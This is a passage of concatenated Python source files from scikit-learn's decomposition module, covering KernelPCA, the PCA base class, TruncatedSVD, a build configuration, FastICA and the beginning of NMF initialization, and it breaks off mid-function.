        if self.fit_inverse_transform:
            self._fit_inverse_transform(X_transformed, X)

        return X_transformed

    def transform(self, X):
        """Transform X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        check_is_fitted(self, 'X_fit_')

        K = self._centerer.transform(self._get_kernel(X, self.X_fit_))
        return np.dot(K, self.alphas_ / np.sqrt(self.lambdas_))

    def inverse_transform(self, X):
        """Transform X back to original space.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_components)

        Returns
        -------
        X_new: array-like, shape (n_samples, n_features)

        References
        ----------
        "Learning to Find Pre-Images", G BakIr et al, 2004.
        """
        if not self.fit_inverse_transform:
            raise NotFittedError("The fit_inverse_transform parameter was not"
                                 " set to True when instantiating and hence "
                                 "the inverse transform is not available.")

        K = self._get_kernel(X, self.X_transformed_fit_)

        return np.dot(K, self.dual_coef_)






"""Principal Component Analysis Base Classes"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Mathieu Blondel <mathieu@mblondel.org>
#         Denis A. Engemann <d.engemann@fz-juelich.de>
#         Kyle Kastner <kastnerkyle@gmail.com>
#
# License: BSD 3 clause

import numpy as np
from scipy import linalg

from ..base import BaseEstimator, TransformerMixin
from ..utils import check_array
from ..utils.extmath import fast_dot
from ..utils.validation import check_is_fitted
from ..externals import six
from abc import ABCMeta, abstractmethod


class _BasePCA(six.with_metaclass(ABCMeta, BaseEstimator, TransformerMixin)):
    """Base class for PCA methods.

    Warning: This class should not be used directly.
    Use derived classes instead.
    """
    def get_covariance(self):
        """Compute data covariance with the generative model.

        ``cov = components_.T * S**2 * components_ + sigma2 * eye(n_features)``
        where  S**2 contains the explained variances, and sigma2 contains the
        noise variances.

        Returns
        -------
        cov : array, shape=(n_features, n_features)
            Estimated covariance of data.
        """
        components_ = self.components_
        exp_var = self.explained_variance_
        if self.whiten:
            components_ = components_ * np.sqrt(exp_var[:, np.newaxis])
        exp_var_diff = np.maximum(exp_var - self.noise_variance_, 0.)
        cov = np.dot(components_.T * exp_var_diff, components_)
        cov.flat[::len(cov) + 1] += self.noise_variance_  # modify diag inplace
        return cov

    def get_precision(self):
        """Compute data precision matrix with the generative model.

        Equals the inverse of the covariance but computed with
        the matrix inversion lemma for efficiency.

        Returns
        -------
        precision : array, shape=(n_features, n_features)
            Estimated precision of data.
        """
        n_features = self.components_.shape[1]

        # handle corner cases first
        if self.n_components_ == 0:
            return np.eye(n_features) / self.noise_variance_
        if self.n_components_ == n_features:
            return linalg.inv(self.get_covariance())

        # Get precision using matrix inversion lemma
        components_ = self.components_
        exp_var = self.explained_variance_
        if self.whiten:
            components_ = components_ * np.sqrt(exp_var[:, np.newaxis])
        exp_var_diff = np.maximum(exp_var - self.noise_variance_, 0.)
        precision = np.dot(components_, components_.T) / self.noise_variance_
        precision.flat[::len(precision) + 1] += 1. / exp_var_diff
        precision = np.dot(components_.T,
                           np.dot(linalg.inv(precision), components_))
        precision /= -(self.noise_variance_ ** 2)
        precision.flat[::len(precision) + 1] += 1. / self.noise_variance_
        return precision

    @abstractmethod
    def fit(X, y=None):
        """Placeholder for fit. Subclasses should implement this method!

        Fit the model with X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples and
            n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """


    def transform(self, X, y=None):
        """Apply dimensionality reduction to X.

        X is projected on the first principal components previously extracted
        from a training set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            New data, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)

        Examples
        --------

        >>> import numpy as np
        >>> from sklearn.decomposition import IncrementalPCA
        >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
        >>> ipca = IncrementalPCA(n_components=2, batch_size=3)
        >>> ipca.fit(X)
        IncrementalPCA(batch_size=3, copy=True, n_components=2, whiten=False)
        >>> ipca.transform(X) # doctest: +SKIP
        """
        check_is_fitted(self, ['mean_', 'components_'], all_or_any=all)

        X = check_array(X)
        if self.mean_ is not None:
            X = X - self.mean_
        X_transformed = fast_dot(X, self.components_.T)
        if self.whiten:
            X_transformed /= np.sqrt(self.explained_variance_)
        return X_transformed

    def inverse_transform(self, X, y=None):
        """Transform data back to its original space.

        In other words, return an input X_original whose transform would be X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_components)
            New data, where n_samples is the number of samples
            and n_components is the number of components.

        Returns
        -------
        X_original array-like, shape (n_samples, n_features)

        Notes
        -----
        If whitening is enabled, inverse_transform will compute the
        exact inverse operation, which includes reversing whitening.
        """
        if self.whiten:
            return fast_dot(X, np.sqrt(self.explained_variance_[:, np.newaxis]) *
                            self.components_) + self.mean_
        else:
            return fast_dot(X, self.components_) + self.mean_






"""Truncated SVD for sparse matrices, aka latent semantic analysis (LSA).
"""

# Author: Lars Buitinck
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Michael Becker <mike@beckerfuffle.com>
# License: 3-clause BSD.

import numpy as np
import scipy.sparse as sp

try:
    from scipy.sparse.linalg import svds
except ImportError:
    from ..utils.arpack import svds

from ..base import BaseEstimator, TransformerMixin
from ..utils import check_array, as_float_array, check_random_state
from ..utils.extmath import randomized_svd, safe_sparse_dot, svd_flip
from ..utils.sparsefuncs import mean_variance_axis

__all__ = ["TruncatedSVD"]


class TruncatedSVD(BaseEstimator, TransformerMixin):
    """Dimensionality reduction using truncated SVD (aka LSA).

    This transformer performs linear dimensionality reduction by means of
    truncated singular value decomposition (SVD). It is very similar to PCA,
    but operates on sample vectors directly, instead of on a covariance matrix.
    This means it can work with scipy.sparse matrices efficiently.

    In particular, truncated SVD works on term count/tf-idf matrices as
    returned by the vectorizers in sklearn.feature_extraction.text. In that
    context, it is known as latent semantic analysis (LSA).

    This estimator supports two algorithm: a fast randomized SVD solver, and
    a "naive" algorithm that uses ARPACK as an eigensolver on (X * X.T) or
    (X.T * X), whichever is more efficient.

    Read more in the :ref:`User Guide <LSA>`.

    Parameters
    ----------
    n_components : int, default = 2
        Desired dimensionality of output data.
        Must be strictly less than the number of features.
        The default value is useful for visualisation. For LSA, a value of
        100 is recommended.

    algorithm : string, default = "randomized"
        SVD solver to use. Either "arpack" for the ARPACK wrapper in SciPy
        (scipy.sparse.linalg.svds), or "randomized" for the randomized
        algorithm due to Halko (2009).

    n_iter : int, optional (default 5)
        Number of iterations for randomized SVD solver. Not used by ARPACK.
        The default is larger than the default in `randomized_svd` to handle
        sparse matrices that may have large slowly decaying spectrum.

    random_state : int or RandomState, optional
        (Seed for) pseudo-random number generator. If not given, the
        numpy.random singleton is used.

    tol : float, optional
        Tolerance for ARPACK. 0 means machine precision. Ignored by randomized
        SVD solver.

    Attributes
    ----------
    components_ : array, shape (n_components, n_features)

    explained_variance_ratio_ : array, [n_components]
        Percentage of variance explained by each of the selected components.

    explained_variance_ : array, [n_components]
        The variance of the training samples transformed by a projection to
        each component.

    Examples
    --------
    >>> from sklearn.decomposition import TruncatedSVD
    >>> from sklearn.random_projection import sparse_random_matrix
    >>> X = sparse_random_matrix(100, 100, density=0.01, random_state=42)
    >>> svd = TruncatedSVD(n_components=5, n_iter=7, random_state=42)
    >>> svd.fit(X) # doctest: +NORMALIZE_WHITESPACE
    TruncatedSVD(algorithm='randomized', n_components=5, n_iter=7,
            random_state=42, tol=0.0)
    >>> print(svd.explained_variance_ratio_) # doctest: +ELLIPSIS
    [ 0.0782... 0.0552... 0.0544... 0.0499... 0.0413...]
    >>> print(svd.explained_variance_ratio_.sum()) # doctest: +ELLIPSIS
    0.279...

    See also
    --------
    PCA
    RandomizedPCA

    References
    ----------
    Finding structure with randomness: Stochastic algorithms for constructing
    approximate matrix decompositions
    Halko, et al., 2009 (arXiv:909) http://arxiv.org/pdf/0909.4061

    Notes
    -----
    SVD suffers from a problem called "sign indeterminancy", which means the
    sign of the ``components_`` and the output from transform depend on the
    algorithm and random state. To work around this, fit instances of this
    class to data once, then keep the instance around to do transformations.

    """
    def __init__(self, n_components=2, algorithm="randomized", n_iter=5,
                 random_state=None, tol=0.):
        self.algorithm = algorithm
        self.n_components = n_components
        self.n_iter = n_iter
        self.random_state = random_state
        self.tol = tol

    def fit(self, X, y=None):
        """Fit LSI model on training data X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training data.

        Returns
        -------
        self : object
            Returns the transformer object.
        """
        self.fit_transform(X)
        return self

    def fit_transform(self, X, y=None):
        """Fit LSI model to X and perform dimensionality reduction on X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training data.

        Returns
        -------
        X_new : array, shape (n_samples, n_components)
            Reduced version of X. This will always be a dense array.
        """
        X = as_float_array(X, copy=False)
        random_state = check_random_state(self.random_state)

        # If sparse and not csr or csc, convert to csr
        if sp.issparse(X) and X.getformat() not in ["csr", "csc"]:
            X = X.tocsr()

        if self.algorithm == "arpack":
            U, Sigma, VT = svds(X, k=self.n_components, tol=self.tol)
            # svds doesn't abide by scipy.linalg.svd/randomized_svd
            # conventions, so reverse its outputs.
            Sigma = Sigma[::-1]
            U, VT = svd_flip(U[:, ::-1], VT[::-1])

        elif self.algorithm == "randomized":
            k = self.n_components
            n_features = X.shape[1]
            if k >= n_features:
                raise ValueError("n_components must be < n_features;"
                                 " got %d >= %d" % (k, n_features))
            U, Sigma, VT = randomized_svd(X, self.n_components,
                                          n_iter=self.n_iter,
                                          random_state=random_state)
        else:
            raise ValueError("unknown algorithm %r" % self.algorithm)

        self.components_ = VT

        # Calculate explained variance & explained variance ratio
        X_transformed = U * Sigma
        self.explained_variance_ = exp_var = np.var(X_transformed, axis=0)
        if sp.issparse(X):
            _, full_var = mean_variance_axis(X, axis=0)
            full_var = full_var.sum()
        else:
            full_var = np.var(X, axis=0).sum()
        self.explained_variance_ratio_ = exp_var / full_var
        return X_transformed

    def transform(self, X):
        """Perform dimensionality reduction on X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            New data.

        Returns
        -------
        X_new : array, shape (n_samples, n_components)
            Reduced version of X. This will always be a dense array.
        """
        X = check_array(X, accept_sparse='csr')
        return safe_sparse_dot(X, self.components_.T)

    def inverse_transform(self, X):
        """Transform X back to its original space.

        Returns an array X_original whose transform would be X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_components)
            New data.

        Returns
        -------
        X_original : array, shape (n_samples, n_features)
            Note that this is always a dense array.
        """
        X = check_array(X)
        return np.dot(X, self.components_)






import os
import numpy
from numpy.distutils.misc_util import Configuration


def configuration(parent_package="", top_path=None):
    config = Configuration("decomposition", parent_package, top_path)

    libraries = []
    if os.name == 'posix':
        libraries.append('m')

    config.add_extension("_online_lda",
                         sources=["_online_lda.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension('cdnmf_fast',
                         sources=['cdnmf_fast.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_subpackage("tests")

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
Python implementation of the fast ICA algorithms.

Reference: Tables 8.3 and 8.4 page 196 in the book:
Independent Component Analysis, by  Hyvarinen et al.
"""

# Authors: Pierre Lafaye de Micheaux, Stefan van der Walt, Gael Varoquaux,
#          Bertrand Thirion, Alexandre Gramfort, Denis A. Engemann
# License: BSD 3 clause
import warnings
import numpy as np
from scipy import linalg

from ..base import BaseEstimator, TransformerMixin
from ..externals import six
from ..externals.six import moves
from ..utils import check_array, as_float_array, check_random_state
from ..utils.extmath import fast_dot
from ..utils.validation import check_is_fitted
from ..utils.validation import FLOAT_DTYPES

__all__ = ['fastica', 'FastICA']


def _gs_decorrelation(w, W, j):
    """
    Orthonormalize w wrt the first j rows of W

    Parameters
    ----------
    w : ndarray of shape(n)
        Array to be orthogonalized

    W : ndarray of shape(p, n)
        Null space definition

    j : int < p
        The no of (from the first) rows of Null space W wrt which w is
        orthogonalized.

    Notes
    -----
    Assumes that W is orthogonal
    w changed in place
    """
    w -= np.dot(np.dot(w, W[:j].T), W[:j])
    return w


def _sym_decorrelation(W):
    """ Symmetric decorrelation
    i.e. W <- (W * W.T) ^{-1/2} * W
    """
    s, u = linalg.eigh(np.dot(W, W.T))
    # u (resp. s) contains the eigenvectors (resp. square roots of
    # the eigenvalues) of W * W.T
    return np.dot(np.dot(u * (1. / np.sqrt(s)), u.T), W)


def _ica_def(X, tol, g, fun_args, max_iter, w_init):
    """Deflationary FastICA using fun approx to neg-entropy function

    Used internally by FastICA.
    """

    n_components = w_init.shape[0]
    W = np.zeros((n_components, n_components), dtype=X.dtype)
    n_iter = []

    # j is the index of the extracted component
    for j in range(n_components):
        w = w_init[j, :].copy()
        w /= np.sqrt((w ** 2).sum())

        for i in moves.xrange(max_iter):
            gwtx, g_wtx = g(fast_dot(w.T, X), fun_args)

            w1 = (X * gwtx).mean(axis=1) - g_wtx.mean() * w

            _gs_decorrelation(w1, W, j)

            w1 /= np.sqrt((w1 ** 2).sum())

            lim = np.abs(np.abs((w1 * w).sum()) - 1)
            w = w1
            if lim < tol:
                break

        n_iter.append(i + 1)
        W[j, :] = w

    return W, max(n_iter)


def _ica_par(X, tol, g, fun_args, max_iter, w_init):
    """Parallel FastICA.

    Used internally by FastICA --main loop

    """
    W = _sym_decorrelation(w_init)
    del w_init
    p_ = float(X.shape[1])
    for ii in moves.xrange(max_iter):
        gwtx, g_wtx = g(fast_dot(W, X), fun_args)
        W1 = _sym_decorrelation(fast_dot(gwtx, X.T) / p_
                                - g_wtx[:, np.newaxis] * W)
        del gwtx, g_wtx
        # builtin max, abs are faster than numpy counter parts.
        lim = max(abs(abs(np.diag(fast_dot(W1, W.T))) - 1))
        W = W1
        if lim < tol:
            break
    else:
        warnings.warn('FastICA did not converge. Consider increasing '
                      'tolerance or the maximum number of iterations.')

    return W, ii + 1


# Some standard non-linear functions.
# XXX: these should be optimized, as they can be a bottleneck.
def _logcosh(x, fun_args=None):
    alpha = fun_args.get('alpha', 1.0)  # comment it out?

    x *= alpha
    gx = np.tanh(x, x)  # apply the tanh inplace
    g_x = np.empty(x.shape[0])
    # XXX compute in chunks to avoid extra allocation
    for i, gx_i in enumerate(gx):  # please don't vectorize.
        g_x[i] = (alpha * (1 - gx_i ** 2)).mean()
    return gx, g_x


def _exp(x, fun_args):
    exp = np.exp(-(x ** 2) / 2)
    gx = x * exp
    g_x = (1 - x ** 2) * exp
    return gx, g_x.mean(axis=-1)


def _cube(x, fun_args):
    return x ** 3, (3 * x ** 2).mean(axis=-1)


def fastica(X, n_components=None, algorithm="parallel", whiten=True,
            fun="logcosh", fun_args=None, max_iter=200, tol=1e-04, w_init=None,
            random_state=None, return_X_mean=False, compute_sources=True,
            return_n_iter=False):
    """Perform Fast Independent Component Analysis.

    Read more in the :ref:`User Guide <ICA>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    n_components : int, optional
        Number of components to extract. If None no dimension reduction
        is performed.

    algorithm : {'parallel', 'deflation'}, optional
        Apply a parallel or deflational FASTICA algorithm.

    whiten : boolean, optional
        If True perform an initial whitening of the data.
        If False, the data is assumed to have already been
        preprocessed: it should be centered, normed and white.
        Otherwise you will get incorrect results.
        In this case the parameter n_components will be ignored.

    fun : string or function, optional. Default: 'logcosh'
        The functional form of the G function used in the
        approximation to neg-entropy. Could be either 'logcosh', 'exp',
        or 'cube'.
        You can also provide your own function. It should return a tuple
        containing the value of the function, and of its derivative, in the
        point. Example:

        def my_g(x):
            return x ** 3, 3 * x ** 2

    fun_args : dictionary, optional
        Arguments to send to the functional form.
        If empty or None and if fun='logcosh', fun_args will take value
        {'alpha' : 1.0}

    max_iter : int, optional
        Maximum number of iterations to perform.

    tol: float, optional
        A positive scalar giving the tolerance at which the
        un-mixing matrix is considered to have converged.

    w_init : (n_components, n_components) array, optional
        Initial un-mixing array of dimension (n.comp,n.comp).
        If None (default) then an array of normal r.v.'s is used.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    return_X_mean : bool, optional
        If True, X_mean is returned too.

    compute_sources : bool, optional
        If False, sources are not computed, but only the rotation matrix.
        This can save memory when working with big data. Defaults to True.

    return_n_iter : bool, optional
        Whether or not to return the number of iterations.

    Returns
    -------
    K : array, shape (n_components, n_features) | None.
        If whiten is 'True', K is the pre-whitening matrix that projects data
        onto the first n_components principal components. If whiten is 'False',
        K is 'None'.

    W : array, shape (n_components, n_components)
        Estimated un-mixing matrix.
        The mixing matrix can be obtained by::

            w = np.dot(W, K.T)
            A = w.T * (w * w.T).I

    S : array, shape (n_samples, n_components) | None
        Estimated source matrix

    X_mean : array, shape (n_features, )
        The mean over features. Returned only if return_X_mean is True.

    n_iter : int
        If the algorithm is "deflation", n_iter is the
        maximum number of iterations run across all components. Else
        they are just the number of iterations taken to converge. This is
        returned only when return_n_iter is set to `True`.

    Notes
    -----

    The data matrix X is considered to be a linear combination of
    non-Gaussian (independent) components i.e. X = AS where columns of S
    contain the independent components and A is a linear mixing
    matrix. In short ICA attempts to `un-mix' the data by estimating an
    un-mixing matrix W where ``S = W K X.``

    This implementation was originally made for data of shape
    [n_features, n_samples]. Now the input is transposed
    before the algorithm is applied. This makes it slightly
    faster for Fortran-ordered input.

    Implemented using FastICA:
    `A. Hyvarinen and E. Oja, Independent Component Analysis:
    Algorithms and Applications, Neural Networks, 13(4-5), 2000,
    pp. 411-430`

    """
    random_state = check_random_state(random_state)
    fun_args = {} if fun_args is None else fun_args
    # make interface compatible with other decompositions
    # a copy is required only for non whitened data
    X = check_array(X, copy=whiten, dtype=FLOAT_DTYPES).T

    alpha = fun_args.get('alpha', 1.0)
    if not 1 <= alpha <= 2:
        raise ValueError('alpha must be in [1,2]')

    if fun == 'logcosh':
        g = _logcosh
    elif fun == 'exp':
        g = _exp
    elif fun == 'cube':
        g = _cube
    elif callable(fun):
        def g(x, fun_args):
            return fun(x, **fun_args)
    else:
        exc = ValueError if isinstance(fun, six.string_types) else TypeError
        raise exc("Unknown function %r;"
                  " should be one of 'logcosh', 'exp', 'cube' or callable"
                  % fun)

    n, p = X.shape

    if not whiten and n_components is not None:
        n_components = None
        warnings.warn('Ignoring n_components with whiten=False.')

    if n_components is None:
        n_components = min(n, p)
    if (n_components > min(n, p)):
        n_components = min(n, p)
        warnings.warn('n_components is too large: it will be set to %s' % n_components)

    if whiten:
        # Centering the columns (ie the variables)
        X_mean = X.mean(axis=-1)
        X -= X_mean[:, np.newaxis]

        # Whitening and preprocessing by PCA
        u, d, _ = linalg.svd(X, full_matrices=False)

        del _
        K = (u / d).T[:n_components]  # see (6.33) p.140
        del u, d
        X1 = np.dot(K, X)
        # see (13.6) p.267 Here X1 is white and data
        # in X has been projected onto a subspace by PCA
        X1 *= np.sqrt(p)
    else:
        # X must be casted to floats to avoid typing issues with numpy
        # 2.0 and the line below
        X1 = as_float_array(X, copy=False)  # copy has been taken care of

    if w_init is None:
        w_init = np.asarray(random_state.normal(size=(n_components,
                            n_components)), dtype=X1.dtype)

    else:
        w_init = np.asarray(w_init)
        if w_init.shape != (n_components, n_components):
            raise ValueError('w_init has invalid shape -- should be %(shape)s'
                             % {'shape': (n_components, n_components)})

    kwargs = {'tol': tol,
              'g': g,
              'fun_args': fun_args,
              'max_iter': max_iter,
              'w_init': w_init}

    if algorithm == 'parallel':
        W, n_iter = _ica_par(X1, **kwargs)
    elif algorithm == 'deflation':
        W, n_iter = _ica_def(X1, **kwargs)
    else:
        raise ValueError('Invalid algorithm: must be either `parallel` or'
                         ' `deflation`.')
    del X1

    if whiten:
        if compute_sources:
            S = fast_dot(fast_dot(W, K), X).T
        else:
            S = None
        if return_X_mean:
            if return_n_iter:
                return K, W, S, X_mean, n_iter
            else:
                return K, W, S, X_mean
        else:
            if return_n_iter:
                return K, W, S, n_iter
            else:
                return K, W, S

    else:
        if compute_sources:
            S = fast_dot(W, X).T
        else:
            S = None
        if return_X_mean:
            if return_n_iter:
                return None, W, S, None, n_iter
            else:
                return None, W, S, None
        else:
            if return_n_iter:
                return None, W, S, n_iter
            else:
                return None, W, S


class FastICA(BaseEstimator, TransformerMixin):
    """FastICA: a fast algorithm for Independent Component Analysis.

    Read more in the :ref:`User Guide <ICA>`.

    Parameters
    ----------
    n_components : int, optional
        Number of components to use. If none is passed, all are used.

    algorithm : {'parallel', 'deflation'}
        Apply parallel or deflational algorithm for FastICA.

    whiten : boolean, optional
        If whiten is false, the data is already considered to be
        whitened, and no whitening is performed.

    fun : string or function, optional. Default: 'logcosh'
        The functional form of the G function used in the
        approximation to neg-entropy. Could be either 'logcosh', 'exp',
        or 'cube'.
        You can also provide your own function. It should return a tuple
        containing the value of the function, and of its derivative, in the
        point. Example:

        def my_g(x):
            return x ** 3, 3 * x ** 2

    fun_args : dictionary, optional
        Arguments to send to the functional form.
        If empty and if fun='logcosh', fun_args will take value
        {'alpha' : 1.0}.

    max_iter : int, optional
        Maximum number of iterations during fit.

    tol : float, optional
        Tolerance on update at each iteration.

    w_init : None of an (n_components, n_components) ndarray
        The mixing matrix to be used to initialize the algorithm.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    Attributes
    ----------
    components_ : 2D array, shape (n_components, n_features)
        The unmixing matrix.

    mixing_ : array, shape (n_features, n_components)
        The mixing matrix.

    n_iter_ : int
        If the algorithm is "deflation", n_iter is the
        maximum number of iterations run across all components. Else
        they are just the number of iterations taken to converge.

    Notes
    -----
    Implementation based on
    `A. Hyvarinen and E. Oja, Independent Component Analysis:
    Algorithms and Applications, Neural Networks, 13(4-5), 2000,
    pp. 411-430`

    """
    def __init__(self, n_components=None, algorithm='parallel', whiten=True,
                 fun='logcosh', fun_args=None, max_iter=200, tol=1e-4,
                 w_init=None, random_state=None):
        super(FastICA, self).__init__()
        self.n_components = n_components
        self.algorithm = algorithm
        self.whiten = whiten
        self.fun = fun
        self.fun_args = fun_args
        self.max_iter = max_iter
        self.tol = tol
        self.w_init = w_init
        self.random_state = random_state

    def _fit(self, X, compute_sources=False):
        """Fit the model

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        compute_sources : bool
            If False, sources are not computes but only the rotation matrix.
            This can save memory when working with big data. Defaults to False.

        Returns
        -------
            X_new : array-like, shape (n_samples, n_components)
        """
        fun_args = {} if self.fun_args is None else self.fun_args
        whitening, unmixing, sources, X_mean, self.n_iter_ = fastica(
            X=X, n_components=self.n_components, algorithm=self.algorithm,
            whiten=self.whiten, fun=self.fun, fun_args=fun_args,
            max_iter=self.max_iter, tol=self.tol, w_init=self.w_init,
            random_state=self.random_state, return_X_mean=True,
            compute_sources=compute_sources, return_n_iter=True)

        if self.whiten:
            self.components_ = np.dot(unmixing, whitening)
            self.mean_ = X_mean
            self.whitening_ = whitening
        else:
            self.components_ = unmixing

        self.mixing_ = linalg.pinv(self.components_)

        if compute_sources:
            self.__sources = sources

        return sources

    def fit_transform(self, X, y=None):
        """Fit the model and recover the sources from X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)
        """
        return self._fit(X, compute_sources=True)

    def fit(self, X, y=None):
        """Fit the model to X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        self
        """
        self._fit(X, compute_sources=False)
        return self

    def transform(self, X, y=None, copy=True):
        """Recover the sources from X (apply the unmixing matrix).

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Data to transform, where n_samples is the number of samples
            and n_features is the number of features.

        copy : bool (optional)
            If False, data passed to fit are overwritten. Defaults to True.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)
        """
        check_is_fitted(self, 'mixing_')

        X = check_array(X, copy=copy, dtype=FLOAT_DTYPES)
        if self.whiten:
            X -= self.mean_

        return fast_dot(X, self.components_.T)

    def inverse_transform(self, X, copy=True):
        """Transform the sources back to the mixed data (apply mixing matrix).

        Parameters
        ----------
        X : array-like, shape (n_samples, n_components)
            Sources, where n_samples is the number of samples
            and n_components is the number of components.
        copy : bool (optional)
            If False, data passed to fit are overwritten. Defaults to True.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_features)
        """
        check_is_fitted(self, 'mixing_')

        X = check_array(X, copy=(copy and self.whiten), dtype=FLOAT_DTYPES)
        X = fast_dot(X, self.mixing_.T)
        if self.whiten:
            X += self.mean_

        return X






""" Non-negative matrix factorization
"""
# Author: Vlad Niculae
#         Lars Buitinck
#         Mathieu Blondel <mathieu@mblondel.org>
#         Tom Dupre la Tour
# Author: Chih-Jen Lin, National Taiwan University (original projected gradient
#                                                   NMF implementation)
# Author: Anthony Di Franco (Projected gradient, Python and NumPy port)
# License: BSD 3 clause


from __future__ import division, print_function

from math import sqrt
import warnings
import numbers

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator, TransformerMixin
from ..utils import check_random_state, check_array
from ..utils.extmath import randomized_svd, safe_sparse_dot, squared_norm
from ..utils.extmath import fast_dot
from ..utils.validation import check_is_fitted, check_non_negative
from ..utils import deprecated
from ..exceptions import ConvergenceWarning
from .cdnmf_fast import _update_cdnmf_fast


INTEGER_TYPES = (numbers.Integral, np.integer)


def safe_vstack(Xs):
    if any(sp.issparse(X) for X in Xs):
        return sp.vstack(Xs)
    else:
        return np.vstack(Xs)


def norm(x):
    """Dot product-based Euclidean norm implementation

    See: http://fseoane.net/blog/2011/computing-the-vector-norm/
    """
    return sqrt(squared_norm(x))


def trace_dot(X, Y):
    """Trace of np.dot(X, Y.T)."""
    return np.dot(X.ravel(), Y.ravel())


def _sparseness(x):
    """Hoyer's measure of sparsity for a vector"""
    sqrt_n = np.sqrt(len(x))
    return (sqrt_n - np.linalg.norm(x, 1) / norm(x)) / (sqrt_n - 1)


def _check_init(A, shape, whom):
    A = check_array(A)
    if np.shape(A) != shape:
        raise ValueError('Array with wrong shape passed to %s. Expected %s, '
                         'but got %s ' % (whom, shape, np.shape(A)))
    check_non_negative(A, whom)
    if np.max(A) == 0:
        raise ValueError('Array passed to %s is full of zeros.' % whom)


def _safe_compute_error(X, W, H):
    """Frobenius norm between X and WH, safe for sparse array"""
    if not sp.issparse(X):
        error = norm(X - np.dot(W, H))
    else:
        norm_X = np.dot(X.data, X.data)
        norm_WH = trace_dot(np.dot(np.dot(W.T, W), H), H)
        cross_prod = trace_dot((X * H.T), W)
        error = sqrt(norm_X + norm_WH - 2. * cross_prod)
    return error


def _check_string_param(sparseness, solver):
    allowed_sparseness = (None, 'data', 'components')
    if sparseness not in allowed_sparseness:
        raise ValueError(
            'Invalid sparseness parameter: got %r instead of one of %r' %
            (sparseness, allowed_sparseness))

    allowed_solver = ('pg', 'cd')
    if solver not in allowed_solver:
        raise ValueError(
            'Invalid solver parameter: got %r instead of one of %r' %
            (solver, allowed_solver))


def _initialize_nmf(X, n_components, init=None, eps=1e-6,
                    random_state=None):
    """Algorithms for NMF initialization.

    Computes an initial guess for the non-negative
    rank k matrix approximation for X: X = WH

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        The data matrix to be decomposed.

    n_components : integer
        The number of components desired in the approximation.

    init :  None | 'random' | 'nndsvd' | 'nndsvda' | 'nndsvdar'
        Method used to initialize the procedure.
        Default: 'nndsvdar' if n_components < n_features, otherwise 'random'.
        Valid options:

        - 'random': non-negative random matrices, scaled with:
            sqrt(X.mean() / n_components)

        - 'nndsvd': Nonnegative Double Singular Value Decomposition (NNDSVD)
            initialization (better for sparseness)

        - 'nndsvda': NNDSVD with zeros filled with the average of X
            (better when sparsity is not desired)

        - 'nndsvdar': NNDSVD with zeros filled with small random values
            (generally faster, less accurate alternative to NNDSVDa
            for when sparsity is not desired)

        - 'custom': use custom matrices W and H

    eps : float
        Truncate all values less then this in output to zero.

    random_state : int seed, RandomState instance, or None (default)
        Random number generator seed control, used in 'nndsvdar' and
        'random' modes.

    Returns
    -------
    W : array-like, shape (n_samples, n_components)
        Initial guesses for solving X ~= WH

    H : array-like, shape (n_components, n_features)
        Initial guesses for solving X ~= WH

    References
    ----------
    C. Boutsidis, E. Gallopoulos: SVD based initialization: A head start for
    nonnegative matrix factorization - Pattern Recognition, 2008
    http://tinyurl.com/nndsvd
    """
    check_non_negative(X, "NMF initialization")
    n_samples, n_features = X.shape

    if init is None:
        if n_components < n_features:
            init = 'nndsvd'
        else:
            init = 'random'

    # Random initialization
    if init == 'random':
        avg = np.sqrt(X.mean() / n_components)
        rng = check_random_state(random_state)
        H = avg * rng.randn(n_components, n_features)
        W = avg * rng.randn(n_samples, n_components)
        # we do not write np.abs(H, out=H) to stay compatible with
        # numpy 1.5 and earlier where the 'out' keyword is not
        # supported as a kwarg on ufuncs
        np.abs(H, H)
        np.abs(W, W)
        return W, H

    # NNDSVD initialization
    U, S, V = randomized_svd(X, n_components, random_state=random_state)
    W, H = np.zeros(U.shape), np.zeros(V.shape)

    # The leading singular triplet is non-negative
    # so it can be used as is for initialization.
    W[:, 0] = np.sqrt(S[0]) * np.abs(U[:, 0])
    H[0, :] = np.sqrt(S[0]) * np.abs(V[0, :])

    for j in range(1, n_components):
        x, y = U[:, j], V[j, :]

        # extract positive and negative parts of column vectors
        x_p, y_p = np.maximum(x, 0), np.maximum(y, 0)
        x_n, y_n = np.abs(np.minimum(x, 0)), np.abs(np.minimum(y, 0))

        # and their norms
